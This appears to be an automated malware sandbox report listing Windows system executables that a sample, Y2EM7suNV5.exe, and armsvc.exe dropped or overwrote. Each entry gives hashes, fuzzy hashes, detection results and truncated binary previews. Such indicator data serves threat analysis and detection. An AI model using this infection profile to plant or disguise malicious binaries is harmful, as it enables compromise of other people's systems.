Preview:	$1..7..w0J..3.p.M.3P..g.......M,.4D-.'......esMG..v.'.7...-..#../..7d..:....o..>O.v........h....Gv+g.:...B...Y.L.i;..D...3N.d..~.3..b#.012.9f6ub.=....Q.....2...eW..^('w.W.....+=R.X.~...& .....#w....%%.....!.vX.@iR\|/A....E}....h...~'.=./...'x.f/1.D9.\|._.......\|....8........,.7./J.,.G`K.s.6>.\|...1.~"#../...[.......;.j.m"....;.W....wu.....~^.:HX;.....z.q........K.....XJ<..6.....K..6.;....}=.Xp..T......t...!>dz.yN.@..A....H..k!..T.+...H.c..0.....$?.J...%Yq.rl....=...B..v.G...fM.[..@F.8.....mE.W......kq.>k.D.7-...G.-..m;....5......7h)..0..d.3KR.k]X._O.OO.....x.-.Ma.rm.h...AYr.M..J.....6Qe.wG...t....Zlow.F}ro........d.P..)O.L.S.K....^.~...1......r.....P4.}..J.....y.wv.0.d......<........ZbJM.m,..C.0.w ....6.m..P.N..........yc<#..D%L..,.....zk..w...,K.}.".e!..$...1...N..+..-....;.q...-..!. N[:...q..8..[.....E.eJ.0..P..$...0...l.n.JCkV.ZW>A..j\|.d..Uj..0.f....Y3.:E.@.....Y..uvl....6..h......LP..zGt.2\|a.x.{...N.....n....P..Q.9..?g...:.

C:\Windows\DtcInstall.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	393
Entropy (8bit):	5.02937792895285
Encrypted:	false
SSDEEP:	6:MIW1RcMFsXwBRvFNUe+HWXkCpvSKRcMFsXwD87oANUe+HWXkCplRcMFsXwPX7Nfw:MIWdsXwBRVmWnrsXwDUmWn/sXwP5/W8I
MD5:	36772E8EFA62AE029991F3C2C3CF39D1
SHA1:	48B9234950BCCFCD4F3E3486065FEBE0975A9680
SHA-256:	4AC23A95DB0D1298174672AFE5130F0B7E683AFA0A04A4E790B2228012ABC99C
SHA-512:	2853C0F6970F1741E814A18007700229ABD6556EA2C6B60D028CC9DB6F5E5E1919F70D6A1FBAE580916A5C82D9A301C5A5DC3C9A61709E2B879101BC78D1B8B6
Malicious:	false
Preview:	10-31-2024 11:03 : DTC Install error = 0, going to do CreateMutexW, d:\w7rtm\com\complus\dtc\shared\util\security.cpp (1101) ..10-31-2024 11:03 : DTC Install error = 0, successfully done CreateMutexW, d:\w7rtm\com\complus\dtc\shared\util\security.cpp (1141) ..10-31-2024 11:03 : DTC Install error = 0, IN CILogWriteAsynch::Init, d:\w7rtm\com\complus\dtc\dtc\log\logmgr\src\ilgwrta.cpp (173) ..

C:\Windows\Microsoft.NET\Framework64\v2.0.50727\mscorsvw.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1318912
Entropy (8bit):	4.801614318806584
Encrypted:	false
SSDEEP:	24576:bz2DWmGJ0eeQ2yPyzc+E7xonyVGc/dT5N:tJLeQVPyzc+E7xQ2l
MD5:	8AAA845BCE8C8B8AD7F5000E0FBD94DA
SHA1:	ED13957956F665D1BBEC187C8F7CA189B1D2F7C8
SHA-256:	E779AFA3224BE87E76CCFDC79A63F5A6B7D0E7385BF16029D54327B01DB93723
SHA-512:	ED00E00DFC2F2E1BFAA3B686D46200CA571A32E3E26BCCE970A6CF69599FD8AE757B61C59DD92816774CEF524E6DA0912B9E40623D6B317ACC8D5AB89B70F3BB
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........6..e..e..e.s.e..e.(.e..e.s.e..eI+.e..en.e..eI+.e..eI+.e..eI+.e..e..e9.e.(.e..e.(.e..e.(.e..e.(.e..eRich..e........................PE..d...8..S..........#......"..."......@x.......................................`...............................................................!..........<....`..X.......................................................................p............................text...$ .......".................. ..`.data...p....@.......&..............@....pdata..X....`.....................@..@.rsrc................@..............@...........................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_state.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1275392
Entropy (8bit):	4.723137571957778
Encrypted:	false
SSDEEP:	12288:VQVYwpGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:VQzpGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	E56ED62B84AF74C3CC2BFBBFF2DECA1B
SHA1:	FA1169176AB67E484F88A9652D9609ACAF3D006D
SHA-256:	70365D3B9FCD6CDFDFBF27E75467C812E29EFF363738053C090BDC790255097E
SHA-512:	72B61A2DC8C99B209147E382A2D3CF5391B9191E0F88C5EFB64EFCAE0A3D76855AA91EC4A8E5C9BC2149561E0E3C96507BFAC1C9B9AD35D3BA732C9C217DE554
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......x.m_<...<...<.......8.......>.......(.......0.......>..."..>.......=...<...........1.......-.......=.......=.......=...Rich<...........................PE..d...Wn.\.........."......\...8......0].........@....................................}..... .......... ..................................H...............\|............................\|..T...........................`\|...............p...............................text....Z.......\.................. ..`.rdata...#...p...$...`..............@..@.data...x...........................@....pdata..............................@..@.rsrc...\|...........................@..@.reloc..............................@...........................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1378304
Entropy (8bit):	4.820958670058053
Encrypted:	false
SSDEEP:	12288:tmEpr9TGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:l5TGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	EA840CF37F88F7F45EADF1BB610EAF4D
SHA1:	7776727A7CB22ECDFEF15D8FAB45EDCDC93337E1
SHA-256:	96E19DD5C15CD0A3ADCAD39FE6645BE368FE15CBDEA0BBAE5839DE0D615ECAFB
SHA-512:	2497941CAA06C6F07096C7EBEEDBE84071A2351DEE492BC14F1EC8333A609A722D192ED728C22F92E146B40582205C2C40A62574A3466583F446E6AD664D8F26
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........P..1.1.1.`FM..1.XP...1.cb..1..Q...1..Q.1..Q.1..Q...1.1..}1.`FH..1.XP...1.XP...1.XP.1.Rich.1.........PE..d....k.\.........."..........2.................@.............................@............ .................................................<........P..l....@..h.......................T........................... ................................................text............................... ..`.rdata..............................@..@.data........ ......................@....pdata..h....@......................@..@.rsrc...l....P....... ..............@..@.reloc.......`.......(..............@...................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework\v2.0.50727\mscorsvw.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1295360
Entropy (8bit):	4.784160440190391
Encrypted:	false
SSDEEP:	12288:VE6GJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:q6GJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	0F085C23E517C03FB8596D0E060CF8B5
SHA1:	4056C88662A3EB5F28EA9E14BD12B7C4A0F1D16C
SHA-256:	1D8C6BD47C3EFD2C7DDBCD021FBD44E3EA4E2B4501686DFB1E06311E34442A87
SHA-512:	F1E1D41ED9C69EE9F6CFD26112B44EF6F00C28242E31472DE021BAC36C802C98B08F884514636300B87D9B4C987BA3F560393DDB82D1AA4FA5A8C29BE0DD1877
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.................................e~.....B......e~.....e~.....e~............}......}......}.......}......}.....Rich...........................PE..L...C..S............................................................................=w........... ..........................d...........<...........................................................(:..@............................................text...B........................... ..`.data...............................@....rsrc...............................@...................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1351168
Entropy (8bit):	4.846657977768313
Encrypted:	false
SSDEEP:	24576:nTOUppyGJ0eeQ2yPyzc+E7xonyVGc/dT5N:nTOepVJLeQVPyzc+E7xQ2l
MD5:	C883DD2892AC2D8D85E4D8CA0C16FB27
SHA1:	D9DBBE0C74ACC4133FEDDCCF1A35C0A21490C988
SHA-256:	B8033F3BE9EE0FAF51A62A24A6B751E943BB37F8DA92FDC954A9C80BFC5A8260
SHA-512:	476B7ABF561C9D87C0F631519395EC989C669333CEA96766C38B546C5867CD7C71858DC9589CBA0E4F963AECE48D0A9043FAA2A25B70E3F3D76F89958EB16E13
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........~KM..%...%...%.;h....%..~!...%..M....%.T.$...%.T.&...%.T. ...%.T.!...%...$.'.%.;h....%..~,...%..~....%..~'...%.Rich..%.................PE..L...ln.\.........."..........6.......R............@.................................M.......................................`...........l...........................p...T..............................@...............\............................text............................... ..`.data...p...........................@....idata..............................@..@.rsrc...l...........................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1500160
Entropy (8bit):	5.1024862107684585
Encrypted:	false
SSDEEP:	24576:StzKePpWxGJ0eeQ2yPyzc+E7xonyVGc/dT5N:StvPg8JLeQVPyzc+E7xQ2l
MD5:	0A853DEEF9697CED2F595CDDCEBA326A
SHA1:	0C2F34E625878C729DC484995158FBDA41578C01
SHA-256:	9AEC541AC0E2DC7D153FC5D716A068EA74465EDDBF04F4E648F98F885350223C
SHA-512:	4AB2AFCB2CEB31A14B0B61A311992FB949136267797936A40AB4430D30FA893BDEA15ECD47FA2D28207F137D4136D7B9B40FBB73703C171DF38FD4CD1969D3DE
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g.H-#.&~#.&~#.&~.~6.&~=.~'.&~.~..&~.~..&~.^K~!.&~.^]~,.&~#.'~..&~.~3.&~=.~".&~#..~".&~*.~".&~Rich#.&~........PE..L...P..X.....................(.......z............@.......................... !..............................................}...........9..........................P................................<..@...............h............................text............................... ..`.rdata..L...........................@..@.data....:...........~..............@....rsrc....9.......:..................@..@.reloc..............................@...................................................................................................................................................................................................................................................................................................................

C:\Windows\SysWOW64\config\systemprofile\AppData\Roaming\6b019fa68ff011e5.bin

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	12320
Entropy (8bit):	7.985745444239477
Encrypted:	false
SSDEEP:	192:SgjsoLfUkf29z8G/zB/9OP18VzyT/X8DBUSEkP8ZbYMzaBLxSovgMF71llxHm:hsmWB8GrBF8ImfTkPumSqll1m
MD5:	8AB9CD346EAB2B37E15E362DBE735063
SHA1:	8D1109F725C036C2616A2A5924262915171D3849
SHA-256:	C98913148F9004F826A5322974B4C49750300C3E86FCA751FA81F0A53990ECE4
SHA-512:	353F44EEFF03BB545AA55AFAB69EECAB6C47AD88B1A54851C7949B25BC8A09312EEC3C0B8E410D1A73F1DDAB4CD5C6AEAE2388BEB9EAB8329638D4B75648B48E
Malicious:	false
Preview:	R~..\|BB...\......A\|..Q..Q;.......X.NeQ....+......."S?..C.-.F...6....).@.k.{.Rx.^F.>..uwz.]. ..<6...C5.j<..N........"~U......tC.r..#;....v..G...R.{i...b..._..S.R.-CX....`e.....=]....{....m.Z,u$..m...5o=...y.C...H.Ny>N=i..........3:g...7...g.k..........J\...R..[JW..`.`2e.....z..H.l...S....)U.e......&..l...=K.2....#3[~5K...W;..u...R..Y.WR9R.=.0.....g...P.v...T ..#.I..n...X..J.J\|0..].'.....e.L._.m....K..d&{...2." ..2.......}.../.m...f.W.....W..q...+t....J.G..(G4kJ.. ......3...k_.=e.....M.ZVgNE....,.4..<....\.@..q.g..}..8 *b.).W.m3p\..E......49wa_..\|..evB..9vh..j..;..:.......2D../.G...a.w.wI..U..%>Q.K..9..F......{....rg.kuTV..~k......`.XA%....rGfN.Lhc..-....N.j.i..X.P.7_&....x'..W%;.....ks4._g2...v...7C.<...:.6.....\|."YS...+\|#...M..I.....X.g..F.1..>j.I...%....i...YF..Z.x....j.9.Y9.?[.ri..%h.w..P.x......%...d..8.q........&.XV..X.#q.....i...k..&....Hi....2(..8.J.s...Z..b...^3.$~.bP.R...$?.s....b..<.X.2K.(x],TWO.LH..n.........B.`..Ej.wnw..P.

C:\Windows\SysWOW64\perfhost.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1256960
Entropy (8bit):	4.68662259782688
Encrypted:	false
SSDEEP:	12288:YGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:YGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	A5C90106638927AA9010BB80237CFA6E
SHA1:	DD8CA04C30203262238FB387C33559B1702E54FF
SHA-256:	F636E50D513ACE04F56C7AC1170B3B005381A32C1A006D3F3BEA27DDEDFB92F4
SHA-512:	A5A277506E605A469CE4D0DEAF77F8E644084C253A463ACADB3E076F3CA61D80E7A13A681069975A4463C9035CAFAD69D5B694EFDCF5F1374754934BFD063772
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........wL_..._..._...V..^...V..^..._.......V..@...V..F...V..^...V..^...Rich_...........PE..L.....[J..................... .......-.......@...............................P.......K........... ..........................\|2..@....P..............................................................(...@...p...t.......p............................text...&-.......................... ..`.data........@.......4..............@....rsrc........P.......6..............@..@.reloc.......p.......N..............@...o.[J......[J......[J......[J......[J......[J......[J(.....[JQ.....[Jz.....[J......[J......[J......[J......[J......[J......[J+.....[J......[JQ...........msvcrt.dll.ntdll.dll.RPCRT4.dll.API-MS-Win-Core-ErrorHandling-L1-1-0.dll.API-MS-Win-Core-Heap-L1-1-0.dll.API-MS-Win-Core-Interlocked-L1-1-0.dll.API-MS-Win-Core-LibraryLoader-L1-1-0.dll.API-MS-Win-Core-LocalRegistry-L1-1-0.dl

C:\Windows\System32\FXSSVC.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	modified
Size (bytes):	1269760
Entropy (8bit):	7.26707493307668
Encrypted:	false
SSDEEP:	24576:xlv3yIUPE1Bubmq3OT6j3cGJ0eeQ2yPyzc+E7xonyVGc/dT5N:xlfyIUPE1BuBeujzJLeQVPyzc+E7xQ2l
MD5:	C216D291FCD2F2DA9B0C085ACC49C074
SHA1:	9942C6A3EBE0296F978F01FF17B7EEB60E1146EC
SHA-256:	2B8E99109D92BEBF5CB7A96F176819A2086F4BF209B409DEABDB3BEC7E7FB437
SHA-512:	7C399466C7D59E3B10CDC84873E1CD3D26853AC6FC579A8E40D4EA121DCD7C8AFDDB5F3E2D9C90058EBDA432C307ED2BD1A181BB45EA7B02984A8C7452B41375
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......z.>e>gP6>gP6>gP67..6<gP67..6.gP6>gQ6.fP67..6*gP67..6.gP67..64gP67..6?gP67..6?gP6Rich>gP6................PE..d...9..L.........."............................@.....................................B.........................................................h............P..T?...................................................................................................text............................... ..`.data....c.......X..................@....pdata..T?...P...@...$..............@..@.rsrc................d..............@..@.reloc...............p..............@...U..L.......L....@..L.......L.......L....7..L.......L.......L.......L....n..L.......L....Q..L....8..L!......L....,..L9...0..LC......LP...O..L\...M..Lh...r..Ls......L............ADVAPI32.dll.ntdll.DLL.pcwum.DLL.KERNEL32.dll.msvcrt.dll.VERSION.dll.SHLWAPI.dll.RPCRT4.dll.TAPI32.dll.GDI32.dll.WINSPOOL.DRV.US

C:\Windows\System32\Locator.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246720
Entropy (8bit):	4.666017412702697
Encrypted:	false
SSDEEP:	12288:wGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:wGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	52E7BE841BAE6B7BD0895DD6C74DF1A6
SHA1:	AC7859D9686C73762E97BBCF79D9A18BAFC630FE
SHA-256:	DA893CCCFD7E5CBEBD58385E9EF802D17482C6195FE730B203EF5DF1F35C02D5
SHA-512:	5D74B1D2DB4A5D07CF4DBB0CF5BB8768FA2AFC6CBFDE430D31CE606BB573A50236511CB55A876483690745FCDAD60FED05D593E5C28AD23E7AC953EA5BC7DE95
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........l_.............f.......f...............f.......f.......f.......f.......f......Rich....................PE..d...Q.[J..........".................<........................................@....................... ...............................................P.......@..........................................................................p............................text............................... ..`.data...P....0......................@....pdata.......@......................@..@.rsrc........P......................@..@.reloc.......`.......&..............@....[Jx...+.[J....+.[J....^.[J....^.[J......[J......[J......[J'.....[JG...+.[J......[Jq...+.[J......[J......[J............msvcrt.dll.NTDLL.DLL.API-MS-WIN-Service-Core-L1-1-0.dll.API-MS-WIN-Service-winsvc-L1-1-0.dll.API-MS-Win-Core-ErrorHandling-L1-1-0.dll.API-MS-Win-Core-LibraryLoader-L1-1-0.dll.API-MS-Wi

C:\Windows\System32\Msdtc\Trace\dtctrace.log

Download File

Process:	C:\Windows\System32\msdtc.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.28894826178861316
Encrypted:	false
SSDEEP:	12:/E3owtvU07qF69Fq5C1o6CzE5Z2+fqjF+:/E3Fvj1V1GiY+fC+
MD5:	49B78302F38E42BF22755BF4F47DCAC3
SHA1:	7E7C7000FECA0EE6FB7C20B6AABA24EB51A86E3B
SHA-256:	00F8B006CD6F115415263B7757BA5B7022F18B0B34F632D806863CCA32386E11
SHA-512:	FE4D7FA9AF0AB97B207E6531811A54CBD5EE64A3F96795AC75DC54820E760E41A3CEB0EFE5ADE54C0C84F0FF2D911B3A5A4AEEF43CEA9A73666B46858B72EF03
Malicious:	false
Preview:	.@......................................................................................................@......................aa..............................................,...@.t.z.r.e.s...d.l.l.,.-.1.1.2.......................................................@.t.z.r.e.s...d.l.l.,.-.1.1.1............................................................9.mr.... .......T..+..........M.S.D.T.C._.T.R.A.C.E._.S.E.S.S.I.O.N...C.:.\.W.i.n.d.o.w.s.\.s.y.s.t.e.m.3.2.\.M.S.D.t.c.\.t.r.a.c.e.\.d.t.c.t.r.a.c.e...l.o.g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\System32\SearchIndexer.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	modified
Size (bytes):	1173504
Entropy (8bit):	7.164602136659378
Encrypted:	false
SSDEEP:	24576:LvBcju8+g/Gb4utGJ0eeQ2yPyzc+E7xonyVGc/dT5N:LWStg/Gb4HJLeQVPyzc+E7xQ2l
MD5:	F81CA3F9237DAFAE9CCCE62C5DC339CF
SHA1:	53D85E7D08EDD5943C88C06235CFF04F2BC9B198
SHA-256:	17916477FC3D14311A18941A002074937F7736A7D53AFF83500E78AC1574A2BF
SHA-512:	D4289691A7B7D644940F0DFD35B4B1CA1E33BB46B583A733B85F83A229C6C142E17C0F405C4A28C9D9C44D3A42FCFE17FC0D90326592AA7F1A30665CFF44E6F3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........g~.F...F...F...O~..D...O~..O...O~..]...F...1...O~..^...O~......O~..G...O~..G...RichF...........................PE..d......M.........."..............................................................................................................................................m......................8...................................................t........................text............................... ..`.rdata..............................@..@.data...$(.......&..................@....pdata...m.......n..................@..@.rsrc................h..............@..@.reloc..............................@......Mx...2..M....%..M....2..M.......M.......M....2..M....2..M....%..M....)..M....z..M....Y..M.......M.......M............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ole32.dll.OLEAUT32.dll.TQUERY.DLL.SHLWAPI.dll.MSSRCH.DLL.IMM32.dll............

C:\Windows\System32\VSSVC.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2180096
Entropy (8bit):	6.683835483393072
Encrypted:	false
SSDEEP:	49152:O4W+J/pHuR7n20mT4FE2LnwUxfWJLeQVPyzc+E7xQ2l:FsxO1vcbE7xQ2l
MD5:	C3AA3572E0C7D615A9D8637DEF220F82
SHA1:	5468C7FBA29F06B75C28BCD3BEACE3E23525DECB
SHA-256:	A3CB309EB216DE8A94AB40ED9537F29AB0595EED3597830562E52E98B6F917AE
SHA-512:	B04483F5E53205C77B90A338E13802803299FEF0FCD212F7CBC468352775FF92F94B3ABC06F6BBEEA9961604A40CBBD28DE510B0D7085445A138C9DA959B0A5C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......69..rXj.rXj.rXj.{ ..pXj.{ ..[Xj.rXk..Yj.{ .nXj.{ ...Xj.{ .~Xj.{ ..sXj.{ ..sXj.RichrXj.........PE..d......L.........."......F...,................................................!......9".............. .......................................-.......@...N..............................................................................`............................text...PD.......F.................. ..`.data...(!...`.......L..............@....pdata...............b..............@..@.rsrc....N...@...P..................@..@.reloc...............T..............@...U..L.......L.......L.......L.......L....7..L.......L....h..L....,..L.......L$...0..L0...n..L=......L.......LH......LS......L`...i..Lk......Lv...q..L....3..L.......L.......L....\..L.......L.......L.......L............ADVAPI32.dll.ntdll.DLL.KERNEL32.dll.USER32.dll.msvcrt.dll.ATL.DLL.ole32.dll.SHLWAPI.dll.OLEAUT32

C:\Windows\System32\alg.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1315328
Entropy (8bit):	4.800105033790437
Encrypted:	false
SSDEEP:	12288:fLIAGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:fLIAGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	78357F4A2EE56E2115B70E83FD318F32
SHA1:	44F98B6ADAB7EB3932F331F32E1A8AC90146CFF6
SHA-256:	D7DA07AF83DFCDDBD316B2033FAA2BA425280BE9C2F154C4231A4CB0C24408CA
SHA-512:	11F0A623C3A8DAD187BADB5B11BDA6C681D44A13405C8BF897C449F15B3234513A9AE55EC4AF9C331CC97CF56BB22703F1BE1CF23D46C9A34AB22B954ECF490F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I..&.dxu.dxu.dxu...u.dxu...u.dxu...u.dxu.dyuudxu...u.dxu...u.dxu...u.dxu...u.dxuRich.dxu........................PE..d.....[J.........."..........D...............................................0.......s............... ......................................,........0....... ......................P................................................................................text............................... ..`.data...............................@....pdata....... ......................@..@.rsrc........0... ..................@..@.reloc.......P.......2..............@...k.[Jh.....[Ju...+.[J......[J....+.[J....p.[J......[J......[J......[J....+.[J......[J......[J............ADVAPI32.dll.KERNEL32.dll.NTDLL.DLL.msvcrt.dll.ATL.DLL.WS2_32.dll.ole32.dll.OLEAUT32.dll.WSOCK32.dll.MSWSOCK.DLL................................................................................

C:\Windows\System32\dllhost.exe

Download File

Process:	C:\Users\user\Desktop\Y2EM7suNV5.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1246208
Entropy (8bit):	4.660132950104711
Encrypted:	false
SSDEEP:	12288:hGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:hGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	7304DEF8402F7060D5E4B04BD64B0226
SHA1:	FE69C5904410220E14F3A47DCC8191276D2BC2E5
SHA-256:	E58E67988349B3A2A4A774FD073146607453B370537BBE5E1577B3D98744828C
SHA-512:	6CFE59422883CA53CC5D376AE331263028F98891775A6DB4E914D1C7179CA981700A3AE5319882B8E406267C3D7DE986CEFDF71500F1337807C54E6EBAAEF8D9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$............z...z...z.......z.....z.....z...{...z.......z.....z.....z.....z.Rich..z.................PE..d...T.[J..........".................L........................................@.......O.......................................................!..d....P.......@......................p...8.......................................\.... ..8............................text............................... ..`.rdata....... ......................@..@.data........0......................@....pdata.......@......................@..@.rsrc........P....... ..............@..@.reloc.......`.......$..............@.....[J0.....[J=...+.[JH.....[JR...+.[JH...........KERNEL32.dll.msvcrt.dll.NTDLL.DLL.ole32.dll.............................................................................................................................................................................

C:\Windows\System32\ieetwcollector.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1350656
Entropy (8bit):	4.8535958019142145
Encrypted:	false
SSDEEP:	12288:32RpvGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:cpvGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	476DF395BDFA6AD8B4669F4FB9DAEAF2
SHA1:	2D388ECAEA8EDDE8A8D8BEA8D87DCE71FA099AC2
SHA-256:	4AB42AABAE78D0491ABB923E5484CB31BCC0AD5A2875557B9F5C2B32476E60D5
SHA-512:	AB2242968DEC08048AFC868E0906FB5E79FE76B6E3EBE182B8726A3058A2BCF5945BA3098AB914BD11C1397351DD4B58B58F6BB5164C3CA4C38F14D6BE23451C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........A.SK a.K a.K a....A a...." a....x a....@ a.K `.. a....G a....J a....J a.RichK a.........................PE..d....p.X.........."......p...n.................@.......................................... .......... ......................................P...x...............\....................................................?..................H............................text...ho.......p.................. ..`.data....8...........t..............@....pdata..\...........................@..@.idata..............................@..@.rsrc...............................@..@.reloc..............................@...................................................................................................................................................................................................................................................................

C:\Windows\System32\msdtc.exe

Download File

Process:	C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1377792
Entropy (8bit):	4.816936829093473
Encrypted:	false
SSDEEP:	12288:ukyGGJ0T3yeQ28W2xzLy+yjupYvLJc+qX7xOTxzzy8gGcGwSMTWpwN:5yGGJ0eeQ2yPyzc+E7xonyVGc/dT5N
MD5:	B53F558EDC6CA13C93B7AC3C93422AB9
SHA1:	2F5F60C335A154B980725512EF74B74B4ED7CC8F
SHA-256:	A2666111C51A689002B0CCF23511E2870C0121ECDE6839B6FE9E80C0B233D905
SHA-512:	940B1B98E1F3FBC01D8074BD751376FFF974E1F058EE4F3EFF4F585EBE76292BB64A136F993CC40C9304A788CB88F33FA7B860957A78ED7A8254CA330029CE33
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........bUUJ.;.J.;.J.;.C{..H.;.C{..[.;.J.:...;.C{..^.;.C{..].;.C{..I.;.C{..K.;.C{..K.;.RichJ.;.........PE..d...Z.[J.........."............................@.............................P.......I...............@.................................................px......D...................P................................................................................text...z........................... ..`.data...x(..........................@....pdata..D...........................@..@.rsrc...px.......z..................@..@.reloc.......p.......&..............@.....[JX...+.[Je.....[Jo.....[Jy...+.[Je.....[J....+.[Je.....[J......[J....k.[J............KERNEL32.dll.NTDLL.DLL.ole32.dll.msvcrt.dll.MSDTCTM.dll.VERSION.dll.USER32.dll.ADVAPI32.dll.....................................................................................................................................

C:\Windows\System32\msiexec.exe

Download File

